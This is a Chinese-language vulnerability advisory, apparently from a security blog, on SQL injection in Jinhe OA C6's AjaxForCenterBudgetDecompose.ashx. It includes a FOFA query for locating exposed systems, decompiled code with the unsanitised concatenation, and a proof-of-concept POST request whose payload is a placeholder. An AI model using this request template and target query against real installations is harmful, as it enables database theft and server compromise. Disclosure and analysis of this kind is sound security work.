金和OA AjaxForCenterBudgetDecompose.ashx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForCenterBudgetDecompose.ashx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 AjaxForCenterBudgetDecompose.ashx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForCenterBudgetDecompose 的处理逻辑

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str1 = context.Request["strType"];
  string strYear = context.Request["strYear"];
  if (string.op_Equality(str1, "getBudgetTime"))
  {
    string strDeptId = context.Request["strDeptId"];
    string type = context.Request["type"];
    string timeType = context.Request["TimeType"];
    context.Response.Write(this.DataPeriodList(strYear, strDeptId, type, timeType));
  }
  else if (string.op_Equality(str1, "getDectomposeDepartment"))
  {
    string strDeptId = context.Request["strDeptId"];
    context.Response.Write(this.DataDectomposeDepartment(strDeptId));
  }
  else if (string.op_Equality(str1, "getBudgetManage"))
  {
    string strDeptId = context.Request["strDeptId"];
    string strTime = context.Request["strTime"];
    string decomposeMoneyInfo1;
    string decomposeMoneyInfo2;
    if (string.op_Equality(context.Request["type"], "Center"))
    {
      decomposeMoneyInfo1 = this.bdDao.GetCenterDecomposeMoneyInfo(strYear, strTime, strDeptId, "Company");
      decomposeMoneyInfo2 = this.bdDao.GetCenterDecomposeMoneyInfo(strYear, strTime, strDeptId, "Center");
    }
    else
    {
      decomposeMoneyInfo1 = this.bdDao.GetCenterDecomposeMoneyInfo(strYear, strTime, strDeptId, "center");
      decomposeMoneyInfo2 = this.bdDao.GetCenterDecomposeMoneyInfo(strYear, strTime, strDeptId, "Department");
    }
    Decimal num = Decimal.op_Subtraction(Convert.ToDecimal(decomposeMoneyInfo1), Convert.ToDecimal(decomposeMoneyInfo2));
    string str2 = $"{Convert.ToDecimal(decomposeMoneyInfo1):N2}".ToString();
    context.Response.Write($"{str2}|{$"{num:N2}".ToString()}");
  }

当 strType=getBudgetTime 时,strYear、strDeptId、type被带入DataPeriodList方法

protected string DataPeriodList(string strYear, string strDeptId, string type, string timeType)
{
  string str1 = string.Empty;
  DataTable budgetTime = this.bdDao.GetBudgetTime(strYear, strDeptId, type);

跟进GetBudgetTime方法

public DataTable GetBudgetTime(string strYear, string strDeptId, string strType)
{
  this.strSql = $"select distinct DecomposeTime from DecomposeList where DecomposeState = 0 and DecomposeYear = {strYear} and DecomposeType = '{strType}'";
  if (!string.IsNullOrEmpty(strDeptId))
  {
    BudgetDecomposeDao budgetDecomposeDao = this;
    budgetDecomposeDao.strSql = $"{budgetDecomposeDao.strSql} and DeptID in ({strDeptId})";
  }
  this.strSql += " order by DecomposeTime asc";
  return this.db.ExecSQLReDataTable(this.strSql);
}

参数strYear、strDeptId、type被直接拼接到SQL语句中执行,造成SQL注入漏洞。

整体执行流程如下,当中其他几个方法也存在同样的sql注入漏洞,就不赘述了

漏洞复现

POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForCenterBudgetDecompose.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

strType=getBudgetTime&strDeptId=1&strYear=2012&type=SQLI_POC&TimeType=1

成功延时 4 秒


手机扫码阅读

金和OA AjaxForCompanyBudgetDecompose.ashx SQL注入漏洞

天锐绿盾审批系统 /ext/mail/add/asign fastjson反序列化漏洞

评 论